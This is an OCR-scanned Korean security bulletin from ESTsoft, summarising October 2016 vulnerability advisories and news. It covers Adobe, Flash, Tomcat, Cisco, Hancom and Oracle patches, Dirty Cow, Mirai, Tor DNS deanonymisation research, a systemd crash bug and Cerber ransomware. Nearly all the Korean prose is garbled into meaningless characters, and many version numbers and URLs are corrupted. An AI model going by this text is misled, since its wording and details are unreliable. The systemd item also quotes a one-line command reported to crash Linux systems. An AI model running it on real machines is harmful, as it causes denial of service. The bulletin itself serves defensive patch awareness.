Adobe Acrobat DC/Reader DC, Acrobat XI, Reader Xl

AIELN0] H S&tetd Herdh=HH
15.017.20053 0[5} &
Acrobat DC Windows, Mac

15.006.30201 O[5t HH

15.017.20053 O[5+ A
Acrobat Reader DC Windows, Mac
15.006.30201 O|o} &
Acrobat X Windows, Mac 11.0.17 OJs} A
Reader XI Windows, Mac 11.0.17 OJs} A
- ofidH
0 Adobe Acrobat DC AF2Xt

—Windows, Mac 2t432| Adobe Acrobat DC AtEAk= 15.020.20039 H E= 15.006.30243 HEHC = H|0|E X

— Adobe Acrobat Reader Download Center{https://get.adobe.com/kr/reader/)H| W=5H ZA HMS HX[SIHLE Xts
H|0|EE 0|35t 14I0|=

0 Adobe Acrobat Reader DC AF2Xt
—Windows, Mac 242| Adobe Acrobat Reader DC ARZAR= 15.020.20039 HZE EE= 15.006.30243 HECE AH|0|E M2

— Adobe Acrobat Reader Download Center{https://get.adobe.com/kr/reader/)H| =610 ZA HES MX[SIHLE Xis
ZILI0|EE 012510 ¥1[0|=

0Adobe Acrobat XI AF2X}
—Windows, Mac 49| Adobe Acrobat XI AFEXE= 11.0.18 HEIOZ |0 |E &g

— Adobe Acrobat Reader Download Center(https://get.adobe.com/kr/reader/)0| 22510 A HES MX[GHLE, XIS
2H|0|EE 0|8510] 1I0|=
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0Adobe Reader XI AF2X}
—Windows, Mac 22| Adobe Reader XI AI8Xt= 11.0.18 HHMCE HH|0|E &&

— Adobe Acrobat Reader Download Center(https://get.adobe.com/kr/reader/)H| 22510 ZA HMS MX[SI7LE, XIS
2H|0|EE 0|85 1I0|=

[RIIALO|E]
[1] https://helpxadobe.com/security/products/acrobat/apsb16-33.html

Adobe Flash Player £+ F 2 2Ot HH[0|E A1

Adobe iit= Flash Player OflA] Aiok= F[QFMS oizdst HOt HH[0|ES WH[1]

22 N AZAE LYTE 20| Feket 4~ QOO = SHZARRN| Mt ZAMHHMOZ YH0IE H
- AR

Adobe Flash Player 2| 26 71 ZI2FH0]| CHet £t AH|0|ES WH[1]

- QO|THE AMSHOZ 0|0&! 4= QU= M| 2| 24+ FOFR(CVE-2016-4273, (VE-2016-6982, (VE-2016-6983, CVE-2016-
6984, CVE-2016-6985, (VE-2016-6986, CVE-2016-6989, CVE-2016-6990)
- 7= 11|15c|5 *I%F’é.*ml CHSH HOF 23] FF(CVE-2016-4286)
- Qlo|AE AIGHOZ 0|0Z! 4 Q= Use-Ater-Free FI2FH(CVE-2016-6981, (VE-2016-6987)
- QIo|TE MSHOZ 0|01E! 4= U= EfY E2t FOFM(CVE-2016-6992)
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[O=l%t Hi= AJIEO_”O-”

oo = T
Adobe Flash Player
ATELQI0| H it ek dhi=HA
Adobe Flash Player Desktop Runtime SERX o 230.0.162 & O™
Adobe Flash Player Extended Support Release | #I=2%, 2t 180.0.375 & OFHH
Adobe Flash Player for Google Chrome SIERX o [ inux, ChromeOS | 23.0.0.162 & O|MHH
Adobe Flash Player for Microsoft Edge and

Windows 10, 8.1 23.0.0.162 % O™
Intemet Explorer 11
Adobe Flash Player for Linux Linux 11.2.202.635 & O|MHHH

- sz
Adobe Flash Player AF2X}

- =X 8 2kA9] Adobe Flash Player desktop runtime AF2Ak= 23.0.0.185 HECOE M0 |E M
- Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0f| EH2510] A S MX[S1L, Ki=
H|0|ES 08010 &12|0]=
— Adobe Flash Player Extended Support Release AFEAK= 18.0.0.382 HHCE L0 |E XME
- 2|5A 2+49] Adobe Flash Player AF2XAk= 11.2.202,637 HEMCZ AHI0|E &g
—Windows 10 % Windows 8.1 0f|X| 2= 3=, Microsoft Edge, 2IE{5ll 2IAZZ2] 11 0] Adobe Flash Player £ AX|[gt
AMEXF= RS2 £ HH|OIET ME

- 71 2| AREXK= Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0il 25104 241 B K|

—r

[EIAjO|E]
[1] https://helpx.adobe.com/security/products/flash-player/apsh16-32.html
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RedHat 71I°‘I Apache Tomcat 2177 F[2FH HOl ?:1 1| =l

L) H
~RedHat Enterprise Linux 7 7|2k A AZ40] SHFE|H -'-7"If7 f OH% -’T‘—I‘%’é.*% of8ol0] 2ZHsSE Sall AIAH

Hof oIS HSE 4 AUS

- M8

tomcat.conf 2| F2fet MU HEIOZ QI5H Welist 4= QU= 2AUMTHIS FIAFTI(CVE-2016-5425)

ot Hhi= ATEQ0]]

—RedHat Enterprise Linux 7 7|2 AJARIQ| 7= Xi=EA Apache Tomcat 6/7/8 HT

J—

%43#

X 8= OS: RedHat, CentOS, Fedora, Oracle Linux, openSUSE

- ofiadd

Oll

0 o HICIALR| Z[A Apache Tomcat IHZ |X| HHI0|E
o I§7 |X| YHI0|ET 27158t ARAE= /usr/lib/tmpfiles.d/tomcat.conf TS| M7 |HSHS K|/
—chmod 644 /usr/lib/tmpfiles.d/tomcat.conf HHUE Salf HstS HA

[EOA|E]
[1] https:/ /access.redhat.com/security/ove/QVE-2016-5425

Cisco ME# Cfs F™ HOF RO A1

Cisco = XRAL2| A0 %@% FE RS EE ]
TARI= i Z[QFMS QI=2510] 0I5 25| AH|A HE SO| IISHE HAHA|Z 4 QIO O sHZHIoH| M2 XX|

EOI'

A
X o= HOF HH|0|E WE A| X ZK|
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- M8

0 QVE-2016-6445: Meeting Server 2| XMPP AJH|AO|A] EAliSH= 2210|AHE Q15 23| F°FH [2]

0 CVE-2016-6437: Wide Area Application Service(WAAS)2| SSL M FHA| 2t2{0f|A] LAlSH= AHIA HE F{OFH [3]

0 CVE-2016-6440: Cisco Unified Communications ManagerlCUCM)2| 2! O [X[0f|A] 445 H= iframe CIO|E S FHA
[4]

0 QVE-2016-6443: Prime Infrastructure 2+ Evolved Programmable Network Manager 0ilA] 2486k= SQL Injection FIFA [5]
0 CVE-2016-6442: Finesse 2 EQ|0{0I|A LASH= AO|EZH 27 IR(CSRF) FUH (6]

0 QVE-2016-6438: Cisco I0S XE 2ZEY|0{0|A] SZtSk= Cisco—~cBR-8 Converged Broadband Router GIA] vty line 2

IS HE 4 U= FO [7

[

- T AO[E0| HAEIN U= "Affected Produdts"E Soll F2fet MiE 3 HIX

09
T
Ir
>
H
m

i)

=

Jton

2

0 CVE-2016-6445: Cisco Systems Download Software S0 |X[0f] 217 BHE510] £|A H0|E XM [g]
o CIZ FIQPE0]| Ciet ot U0 E7 | EL|X| QL0 IHK |7 = WH7EK] FFEo]| 2fst ISHE =0(7| {otH Chadt 22 Argt

A
=T

- CVE-2016-6437: CIATZEE] SSLIHA| T A 1

- QVE-2016-6440: HTTP request 27 Al iframe H[OJE 2t S E12

- CVE-2016-6443: MEX 2421 3 245 1

~QVE-2016-6442: 7| 2| Q125 i 37} B O HOIXIDICE 0| DHed BIPY= CSRF Token & o101 form 24 297
MHIE SAIG0F Shigt 4 Us A4

-(QVE-2016-6438: Telnet E= SSH S41 K| #H11

r-lJ—|—
o

[EIOALO|E]

[1] hitps:/ Avww.us—cert.gov/ncas/cumrent-activity/2016/10/12/Cisco-Releases-Security-Updates

[2] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20161012-msc

3] https://toolscisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161012-waas

[4] https://toolscisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161012-ucm

[5] https://toolscisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161012—prime

[6] https://tools cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161012—fin

[7] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/dsco-sa-20161012-cbr-8
[8lhttps://software.cisco.com/download/release. html?mdfid=2863097 25& flowid=80463&softwareid=280886992&release=2.0.3&relind=AVAILABL E&rellifecycle=
&reltype=latest
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iHIA 10 8 FJ| 2o HO[0|E #H1T

SENEREiT= Ol2ehE & 2IA HMZ0| gt 2ot AH0|ES LH[1]

- Mg

Ot HA= HIZIO| AIBKH opiTE

[GHE A2

NE=

SRALIIA NEO

SEHAQIIA 2014VP

SEAQIIA 2010SE
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9.6.1.5412 O|TH™
9.6.1.3626 O|THH
96.1.4134 OHHHH
9.6.1.3928 O |THH™
9.6.1.4168 O|TH™
9.1.08 O[T

9.6.1.5398 O [ZdH{T
9.1.1.3454 O |H{H
9.1.1.3259 O]HHHH
9.1.1.3237 O™
9.1.1.3334 O]HHHH
85.8.1591 O™
85.8.1527 O™
85.8.1440 O™

85.8.1582 O|TH™
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|

SIS IHRE] SHO[X(0A 2IAH0|E IS P CHR=E R0t EX[olH &

CHRELE A=2: http://www.hancom.com/downLoad.downPU.do?mcd=001

SIEIARE XS YOH|0|ES Sofl ZRHHTCZ HH|0|1E

AEt - BE T2 T3 - ST - 54 Xis H|0|E 2014

XIE |HI°IE

UHOIE P& =T 5.

[RITALOIE]
[1] http:/ /Mwvw.hancom.com/downLoad downPU.do?med=001
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2016'A 10 & Oracle Critical Patch Update #11
QEL=it CPU O RHAL HEZS] HIQHSIOIA 253 7§01 Lt XIS W]
X CPU(Critical Patch Update) : 2212 52 22t &H0|E

- M8

0

Bt = MO AKZAR= T E 0| F e~ UCEZ Of2H SRt M2t ZMHFMO= HH0|E A1

0 Application Express, version(s) priorto 5.0.4.0.7
0 Oradle Database Server, version(s) 11.2.0.4,12.1.0.2
0 Oracle Secure Backup, version(s) priorto 10.4.0.4.0, priorto 12.1.0.2.0
o Big Data Graph, version(s) priorto 1.2
0 NetBeans, version(s) 8.1
o0 Oracle Bl Publisher, version(s) 11.1.1.7.0,11.1.1.9.0,12.2.1.0.0
o Oracle Big Data Discovery, version(s) 1.1.1,1.1.3,1.20
0 Oracle Business Intelligence Enterprise Edition, version(s) 11.1.1.7.0,11.1.1.90,12.1.1.00,12.2.1.1.0
o Oracle Data Integrator, version(s) 11.1.1.7.0,11.1.1.9.0,12.1.20.0,12.1.30.0,1221.00,1221.10
0 Oradle Discoverer, version(s) 11.1.1.7.0
0 Oradle Fusion Middleware, version(s) 11.1.1.7,11.1.19,11.1.2.3,11.1.24,1213.0,122.1.0,12.2.1.1
0 Oracle GlassFish Server, version(s) 2.1.1,3.0.1,3.1.2
0 Oracle Identity Manager, version(s) -
o0 Oradle iPlanet Web Proxy Server, version(s) 4.0
o0 Oracle iPlanet Web Server, version(s) 7.0
0 Oracle Outside In Technology, version(s) 8.4.0,8.5.1,85.2,853
o Oracle Platform Security for Java, version(s) 12.1.3.0.0,12.2.1.00,122.1.10
0 Oracle Web Services, version(s) 11.1.1.7.0,11.1.1.9.0,12.1.3.0.0,12.2.1.0.0
0 Oracle WebCenter Sites, version(s) 12.2.1.00,12.2.1.1.0,12.2.1.20
0 Oracle WebLogic Server, version(s) 10.3.6.0,12.1.3.0,12.2.1.0,12.2.1.1
o Enterprise Manager, version(s) 12.1.4,12.2.2,12.3.2
0 Enterprise Manager Base Platform, version(s) 12.1.0.5
0 Oracle Application Testing Suite, version(s) 12.5.0.1,12.50.2,12.5.0.3
0 Oradle E-Business Suite, version(s) 12.1.1,12.1.2,12.13,12.2.3,12.2.4,12.25,12.26
0 Oracle Advanced Supply Chain Planning, version(s) 12.2.3,12.2.4,12.2.5
0 Oracle Agile Engineering Data Management, version(s) 6.1.3.0,6.2.0.0
0 Oracle Agile PLM, version(s) 9.3.4,9.3.5

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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0 Oracle Agile Product Lifecycle Management for Process, version(s) 6.1.0.4,6.1.1.6,6.2.0.0
0 Oracle Transportation Management, version(s) 6.1,6.2,6.3.0,6.3.1,6.3.2,6.33,634,6.3.5,636,6.3.7
0 PeopleSoft Enterprise HCM, version(s) 9.2
0 PeopleSoft Enterprise PeopleTools, version(s) 8.54, 8.55
0 PeopleSoft Enterprise SCM Services Procurement, version(s) 9.1, 9.2 PeopleSoft
0JD Edwards EnterpriseOne Tools, version(s) 9.1
0JD Edwards World Security, version(s) A9 4
o Siebel Applications, version(s) 7.1, 16.1
0 Oracle Commerce Guided Search, version(s) 6.2.2,6.3.0,6.4.1.2,6.5.0,6.5.1,6.5.2
0 Oracle Commerce Guided Search / Oracle Commerce Experience Manager, version(s) 3.1.1,3.1.2,6.2.2,6.3.0,6 4.1.26.5.0,
6.5.1,652,11.0,11.1,11.2
0 Oracle Commerce Platform, version(s) 10.0.3.5,10.2.0.5,11.2.0.1
0 Oracle Commerce Service Center, version(s) 10.0.3.5,10.2.0.5
0 Oracle Fusion Applications, version(s) 11.1.2 through 11.1.9
0 Oracle Communications Policy Management, version(s) 9.7.3,9.9.1,10.4.1,12.1.1 and prior
0 Oracle Enterprise Communications Broker, version(s) Pcz2.0.0mép5 and earlier
0 Oracle Enterprise Session Border Controller, version(s) Ecz7.3m2p2 and earlier
0 Oracle Banking Digital Experience, version(s) 15.1
0 Oracle Financial Services Analytical Applications Infrastructure, version(s) 7.3.0,7.3.1,7.3.2,7.33,7.34,7.3.5,80.0,
80.1,80.2,80.3
0 Oracle Financial Services Lending and Leasing, version(s) 14.1.0, 14.2.0
0 Oracle FLEXCUBE Core Banking, version(s) 11.5.0.0.0,11.6.0.0.0
0 Oracle FLEXCUBE Enterprise Limits and Collateral Management, version(s) 12.0.0, 12.1.0
0 Oracle FLEXCUBE Investor Servicing, version(s) 12.0.1
0 Oracle FLEXCUBE Private Banking, version(s) 2.0.0,2.0.1,2.2.0,12.0.0,120.1,120.2,1203,12.1.0
0 Oracle FLEXCUBE Universal Banking, version(s) 11.3.0,11.4.0,12.0.1,120.2,12.03,12.1.0,12.20,12.87.1,12.87 .2
0 Oradle Life Sciences Data Hub, version(s) 2.x
0 Oracle Hospitality OPERA 5 Property Services, version(s) 5.4.0.0,54.1.0,5.4.2.0,54.3.0,5.5.0.0,55.1.0
0 Oracle Insurance IStream, version(s) 4.3.2
0 MICROS XBR, version(s) 7.0.2, 7.0.4
0 Oracle Retail Back Office, version(s) 13.0,13.1,13.2,13.3,13.4,14.0, 14.1
0 Oracle Retail Central Office, version(s) 13.0,13.1,13.2,13.3, 134, 14.0, 14.1
0 Oracle Retail Clearance Optimization Engine, version(s) 13.2,13.3, 134, 14.0
0 Oracle Retail Customer Insights, version(s) 15.0
0 Oracle Retail Merchandising Insights, version(s) 15.0
0 Oracle Retail Retums Management, version(s) 13.0,13.1,13.2,13.3,134, 14.0,14.1
0 Oracle Retail Xstore Payment, version(s) 1.x
0 Oradle Retail Xstore Point of Service, version(s) 5.0, 5.5,6.0, 6.5, 7.0, 7.1
ESTsoft copyright by ESTsoft corp. All rights reserved.
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o Primavera P6 Enterprise Project Portfolio Management, version(s) 84, 15, 16.x
o Primavera P6 Professional Project Management, version(s) 8.3, 84, 15x, 16X
0 Oradle Java SE, version(s) 6u121, 7u111,8u102
0 Oradle Java SE Embedded, version(s) 8u101
o Solaris, version(s) 10,11.3
o Solaris Cluster, version(s) 3.3,4.3
0 Sun ZFS Storage Appliance Kit (AK), version(s) AK 2013
o0 Oracle VM VirtualBox, version(s) prior to 5.0.28, priorto 5.1.8
0 Secure Global Desktop, version(s) 4.7, 5.2
0 Sun Ray Operating Software, version(s) priorto 11.1.7
o Virtual Desktop Infrastructure, version(s) priorto 3.5.3
0 MySQL Connector, version(s) 2.0.4 and prior, 2.1.3 and prior
0 MySQL Server, version(s) 5.5.52 and prior, 5.6.33 and prior, 5.7.15 and prior

X BRI AARIO] M| HRs FTMOIENS BE

- off 2%

"Oracle Critical Patch Update Advisory — October 2016" A & THX| AfelE AESH HIGAL Y RX|Ea ARt §O|/ZHE
= IR ME(1]

JAVASE AKEAF= MX|E MEL] A1 HO0|ES CH2EE[2] ot AX[oH7HLE Java RIHIOIE XS & MES #1[3]

OII

[ROAIE]

[1] http:/ /Mmww.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.hitml
[2] http://www.oracle.com/technetwork /java/javase/downloads/index html

B3] http://wwwijava.com/ko/download/help/java_updatexml

2l5A 22 At A5(Dirty Cow) F2UH™ HO HHI0|E A1
H|=31 HOt A1 Phil Oester = H|0|A ZACIM 7S 0|2510 2lsA 2| Read-only HS HIZ 2|0 M7|
HotE & & U= FIAH(QVE-2016-5195)2 U7

ot -’T‘—I°FJH I %i‘% 2= B ASARE QIR 42 AEAD RE Het S5 25 4= UEZ SHZALM0| [Tt
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(B8 L= MiE ! H]

—Linux Kemel 2.6.11 0| KIS AFESH= A|AR!

ofig FIFHO tigh 22t YH0|E7t S7HE 2SHME 2ot AUS 2, &L AMOIES| LIES FZo10 22t

ol

- Debian|[1]
- RedHat [2]
- Ubuntu[3]

[EIALO|E]

[1] https://security-tracker.debian.org/tracker/CVE-2016-5195
[2] https://access.redhat.com/security/vulnerabilities/ 2706661
[3] https:/ Avww.ubuntu.com/usn/usn-3107-1/

loT 717|E Che o= St 0]2t0] Z4l(Mirai Botnet) =2
loT 7|7|E 22 3F O[2{0] Z5U(Mirai Botnet)O] =2l0fiAf E
X 0f= S5 = DDoS 320l AEELIEL(oT) AL

0J2t0] 0| ZH Al DDoS SA0| &2+ U AZAL 27t H2gt

- MR

0[2}0] QPTES IR A O] 10 0T HIZHCCTV, NAS S0 ATH 2 F4510] TS Fnft
X loT H|9] 7| TASIES 0185101 2912 A=t
QPSTC| 2SI 0T 717 [ FX| Aftol TR0 w2} DDoS BZS 4343

3 TCP, UDP, HTTP Flood, DNS DRD0S 52| DDoS 22 434

JEEE
0 QIE{LI0] A IoT ZH|(EBR71,NAS, CCTV, CAM S)2| 27| Er2|Kt IIAQIES A

X E7| BRIR IAQICS SRETH 52 IARICS B2 #T

07| BAIE T ZH|0| HATES0| 27IS0I1=F AS0HK| = AHIA ZEO| AL o 23

ol

[ = |

(ex: SSH(22), Telnet(23) S)

[RIUALO|E]
[1] ] http:/ /Awwiyonhapnews.cokr/bulletin/2016/10/23/0200000000AKR20161023006900091 HTML?input=1195m

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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Cisco WebEx Meetings Player 2 HOt HGHI0|E H11

Ciscoit= XIAI2| HIZ0l| Feks F= FOFHS SHZAS HOf AHI0IES LH{1]

—_
TARIE ST FIOS IS5 HHTTAHO| TFHS WA 4 QUOD2, N BXMOZ AHO|E AT

- Mg

Cisco WebEx Meetings Player HIAM E461A| MIEFE 244 WRF LS AIGHA|Z [ 2hAlisk= 2124 FE FFH(CVE-2016-
1464)12]

[B&k = ATEQ0]

— Cisco WebEx Meetings Player T31R2
—Cisco WebEx Meetings Player T31

— Cisco WebEx Meetings Player T30

— Cisco WebEx Meetings Player 729.10
—Cisco WebEx Meetings Player T29

F2FH0] et Csco WebEx 2ZER|017F EX|E OIZA=, sHEl= EIAMOIEN] A0 U= ‘Affected Products’ LIS

T31R2 =2 0| HH
T31.520 22 0|= A
T30121 =2 0]= HH
T29.13.112 =2 0|= HiH

[RIIAO|E]

[1] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20160831-meetings—player
[2] https://cvemitre.org/cgi-bin/cvename cgi?name=CVE-2016-1464

[3] http:/ /mwwisecurityfocus.com/bid/92708/info

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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Adobe Flash Player 27 F2fH EHOt HH|O|E #H11
EO

Adobe iit= £ I Z20] 24EE Flash Player FUTS siAsH £t HHI0IES UH[1]

S22 N AEX= AT E 240 Feret o~ oD = AR M2t ZMHMO=E HH0|E A
- AR

- Yo|TFE MHOZ 0|01E 4~ Q4= Use-Ater—Free FUE(CVE-2016-7855)

(B = AT EQ0]]

Adobe Flash Player

ATEQ0 H SAed Fek = B

Adobe Flash Player Desktop Runtime SERX of 230.0.185 3! O™
Adobe Flash Player for Google Chrome SIERX M [ inux, ChromeOS | 23.0.0.1185 ! O
Adobe flash PiayerforMicosoft Edgeand 1\ e 10,81 2300.185 2 O}
Intemet Explorer 11

Adobe Flash Player for Linux Linux 11.2.202.637 % OHHH

- sz
Adobe Flash Player AF2X}

- $IERX o 3H749| Adobe Flash Player desktop runtime AR2XR= 23.0.0.205 HEOZ HH0|E M2
- Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0f| EH2510] A S MX[SIL, Ki=
HI0|EE 08510 &12{|0[=
- 2l5A 2-49| Adobe Flash Player AIZAR= 11.2.202.643 HECOE H[0[E MZ
—Windows 10 % Windows 8.1 0flA] 712 3.&, Microsoft Edge, QIES! 2IAZ 221 11 0l Adobe Flash Player £ AX [t
MEAR= XIS2E | YHOIEI M

- 71 2| AF2XF= Adobe Flash Player Download Center(http:/ /www.adobe.com/go/getflash)0l| BF2510] &A1 X MX|

—

[ZIAO|E]
[1] https://helpx.adobe.com/security/products/flash-player/apsb16-36.html

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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1 . O u I —
T20| {g AL Tor AZ 2l ABMS HIAE 4 U= HOE YHIK
If It Wanted, Google Could Deanonymize a Large Number of Tor Connections

S48 E0| Tor Z0|22| E2LT} Tor 0] exit ' =R 2ASH= HTTP, DNS E2HLIS BLIERISH Tor E2HTio| QlZixg
HIZ{SHE] MBE 4 U= MES B2 HASS LZISHCE

DefecTor 02} HH = 0] M22 Z3242, HOot 2l Ial0|HA| ME7+S0| "Tor correlation attack(Tor A2 Z2) 02t 2=
J49| UM E K02t & =~ QUL

Tor correlation 3A2 MHRE] B =[0] RACE 7HAS| LUSEKIH, 0[2{5 FaQ| SA2 QIEU Ecfe I ZEES DLEE
U= X[ U= SEESH SAKIQ| Z ABXP | Tor HAS AEIGh= A2 & 5 UH, it HASS 0183 12| QHIRE
S OIRHIRE T2 AEE} HAKZ 5= QA =S LIEKHC}, SZHXK= 02 52 JETE AKX f7fTor Sl H&ol=
AOIES FS5H 4= UA| EICL

O[HI2E Tor DNS E2iEE Sal correlation 342 Hat: = 4=
AQ|AQ}O[=2| Cis} G+ B2 conelation 34 018 AT MIAH A= SZ0f| gt =7| H+= Tor HIERIEE S0{2=
Eimut exit =0 L7 k= HTTP E2TOT NS ST MHIHCY

=2 Z719| ¢710i|Al= DNS FHZ|=t 2 E o1 Emo] = M| MES 2HHGHH| FA| FHUCK T LZHCE EE5HO| DNS
FH2IS2 Tor correlation SZ0IN T Iff 1L RESHCH T ZUIKCE

0] 2242 Tor HRIQA} Tor HEYIE EM5K= HTTP 2 DNS EZLS S S0 US3} 5t 5 exit ' 204 DNS
F2IE E0LH L (resolve), SXX|Z HTTP E2fES HL{7 | THRN| 7 FsoHRICE

S "“Pol= DefecTor SAS Hligh = U= SHRT EXE = ULt RS LAY, OIS ST, 7122] DNS resolver 7+
Tor HEEXF0|M E[ESE| flet 2= DNS 232 72| 40%S 2H&folal QUCt" 11 Z3KC.

T2 XK Tor UIEST| ATAS M7 {571t T2 WaHls SO KRl ZAIS Fofet X2 QXL 70| 215t A

7tSoltt=s XS A+1HS0| SSoHHC.

0| S0 &AlS 2 Q= ==Y SAKIES0| UCt

0 |E1sr Tor 324 B2 AAMOI || 2fal 2| El= Ass(Autonomous Systems: Xtg AAENS 2Hsk= S 2H
SANSAH = oiiF ElC}. 252 Defeclor 345 Solf LTl HFER QIAS2| HE 3 T159| EsUFSS 0k 5= U

5._|Eh

ATLRESZ "Tor HIERTE 2fet Defeclor SZ2 i TelolH, M2 ZEXRE HOHZFUCL Tor (0] 2FXE2 exit

2[0}=0] DNS EH|PtS E0{L= WA0| & O CIYGHE o~ U= SHOFt Z40|CH" 11 ZRACE,
ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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DefecTor S22t 24 E Aot 75X HH= =2| HAO[ENIM ZOE == AT I 152] =221 "The Effect of DNS on

Tor's Anonymity"= 047 [0fA] CHREE &t 4~ Q1O DefecTor corelation 222 ASIAZ 4 Q= HTABIES &RI5H 4 Q)L

[EX] http://news softpedia.com/news/if-t-wanted-google-could-deanonymize-a-large-number-of-tor-connections-508863 shitml
https://nymity.ch/tor-dns/

o524 AARS C2A7[= Systemd F24H

Systemd vulnerability crashes Linux systems

EXN0| 7tse =2 B2 E0E ME0l LIRS iS4 AARS C2AIZ o= U= M22 FIFH0| A Z(UCt
HOQIEM 2ARI SSIMate 2| 2|52 #2{AtH 2! AEIXIR! Andrew Ayer 0] O] HZ1E ZZ434CY. O] B 1= EAWHO=Z

NOTIFY_SOCKET=/run/systemd/notify systemd-notify” HEHZ =6k= X TIOZ [0 SQ8H HAHUSS TSI 7|1
CIE HHOS2 SIS U= = ULt

Ayer 2 0] H|Z19] 24210 Cioli 0] 2= X2 ESO| 7IsE E== A2 SZ0E Soll O INZ 4= QU 0| M= 2E 22

AEX L St AL HEHEN O & DDoS S4= Adlieh 4=

TI= O] HIE S7HoHOPACAL Zafet Ol Cioh, 27t Linux OfiM 'E2| AFE Ef= BEHEQ! systemd I EXlok= FI2FHO|

“EAle Zel'0|2t 3| R0, O] ZXI0f| Ciet =2fE &l7|A[717] $I2{0[2fal 2FACL

X2, LHEOIS2 systemd 2| FHAXIOA| THA SH2feEK| 2411 Of2{et H11E TS| S7ioks 22 7 1.'%!?.* °E'0|Eh_'_ 2elt.

Ayer = systemd Off Choll X|LEX|A| SEoHHAL HIHSHOH, Ef5A2| JHUXISO0] QFHoIL! Lot ATE

OS Of] FIEOEICt I &= T,

LHRES| 2 254 HiEES0| 2fsA HRUEIA T ARSI =2t =21 Y27 systemd & LIZE 23
lAE’H I-Q_o]f_l-

Ayer = "systemd = Tt 22, 1 2R H7|(fail-safe design)2t 20| 71 M0 24 SXE 2o SIS TS 112oHK| 42
4l 5~ FUH0| SEet CIE 2RRISS AEE E2 OtLI2t, WAV =71S01=R AV IS 8ol 7| HE0 #lefolttl =

X

Ayer 7t 745t 0] Ols30f| CHet IiXE= GitHub 2] T= K& S71 =T, Ol LR AN SEfohs A= 201 E|QACL.

[EX] http://betanews.com/2016/10/07 /systemd-vulnerability-linux-crash/
https://github.com/systemd/systemd/issues/4234
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Cerber THMYUI2] A HHQI 4.0, 22R10|A] T |17 HHEIO|E ZH|QIO= HYIE
&H
New Cerber Ransomware v4.0 Sold Online and Deployed via Malvertising Campaigns

A} I 4,0 02 AEIO|E F Cerber 2017 AOJH| 7| QICITRISE TROIA Tl 51 QU= HOR LiEKICH
Locky @+ CrypiXKX 2} 2101, Cerber = BH 7FS EXQ1 24201 9121 5 BILIOICE, Ofi= 01| MBS #5517, kot
ADEQI0(0| HXIZ TSP | $fot 2 B HHS 9ol XKHOR EIE FICt,

Cerber, X[t 3712 SOt = H|0|E Li2q ot

20169 = B7H = Cerber= HH 1.0 2 RXIoHH 22 YH|0|ETHS TIstsH AT

SIX[2t X[t 8 ZEE] OiE HIO|X UHOIEE Li=7| AIRRICL

HAXIS2 8 & = Cerber2.0 2 37001, 9 & = Cerber3.0 2 F7HoIRCE. 2|10 X2, IS Cerber 4.0 S S7HSIRAC
HOtF A1 Kafeine O] [E2H, I52 Cerber 402 CH0{7} 7FSSt RaaS(AH|A S #iAQ)0]) SHE0= T H3PI’_ UL,

Cerber4.0,RaaS MH|A SHEHZ 22I210f|A ! 7 ksd
HA[OFO{Z A04RI 2= Cerber 4.0 0 O 7150| F71EIA=K] L =Lt
Kefeine 2 12| ZIA LA 22 Cerber 0| 745t 240t SUSHEMR! X[ 10 & 1 Y 0]

In

=17

=1

Ol
=

|l

AL UCHLT AL

Ml
0
[l
s

Cerber4.0, =2 BHEIOIY M2l 37HS Sofl HHZE =H
Trend Micro Off [=H, Cerber 4.0 2 0[0] AFBAISE HBAIZILL AU, 2|4 3702] = THEIOIY HIRIS SsH HHE EICt.

A I ZHQ12 Magnitude UAZZQl 7[EOfA HIZ EIUCH Magnitude 7} Cerber V4 £ MY HA] HESH= 22 & 34
=it 20| OL|Ch Magnitude 2 Cerber 2| E2| HEES & o= HES oiRICH, Cerber 7} X5 A EIUS

IHSAE] CH2 2HA9OH= BHEESIA] 92T Cerber 2t BHEESH $47| THOICH,

5 HHI HHEOE 212 PseudoDarkleech O], Cerber 4.0 = HIZESH | OPH0[= CrypMIC 2+ CryptXXX 2HAdlo] THUZ|E
2 SH7HHYIESH 2} 7|20 Neutrino 2IASEQl 7|EE AMESHA 0] 2&2 oIl RIG YASEQ] 7 |[EE AKESHT QIC

Neutrino 7|E= 0f0]| 252 SThet 20| OtL|2}, Magnitude 2 20| 25| 2B&1 Q= A2 HOILT Trend Micro Off HEH,
Neutrino = Cf #2271 &2 HHEO|Z Q12| HiZ0| LM, O] HA| Cerber 4.0 2 HIESH Q= A= HOICE

[EX http://news softpedia.com/news/new-cerber-ransomware-v4-0-sold-online-and-deployed-via-malvertising-campaigns—509234.shtml

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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2. 3=

Rotten Tomato APT ZZI2 0{M35| &==O0|C},

CQVE-2015-1641 2} CVE-2015-2545 7} 0|0| Office £ EPICE 5= SHHSO|A| 71 &1 Hh= F|okMOo|X|2t H7|0f 0]0]
RO X522 A 22 (VE-2012-0158 FUME 04T5| SHAS0H LU= U= A LfEf'“”it Sophos 2| SA|0f| M=,
ZI2 Office FUHS 2AEZ0k=APT ZHH21 S CVE-2015-1641 0] 66%, CVE-2015-2545 7t 17%, CVE-2015-01580| 12%=

RIK[GH= Z4O LIERIC

}0

Asialnfo Ol T2 P1,8 FLE] (VE-2012-0158 FI2FHS RS R0 S31617] AEGIHOD, 20MS 0l83t B2 nile
F2 217 M3 22 7y TE ANTCYCL BHIES T2 7IQOR, HEY, 389, 2= S5 TR

Sophos = 00| Rotten Tomato ZHH|210f] CVE-2012-0158, CVE-2014-1761 FUXS 01235I¥ 2 Zbot 324 I0|2ZES
SRt6H QLT Hest &0 | QUL 2|11 22, R2f= 0] Z2|0] 6{T5| &t S0|H, s o SHO0|XIE AET =0

M0 |E MHZ 0|20}l = A= 2R IGKACY.
Ejizol

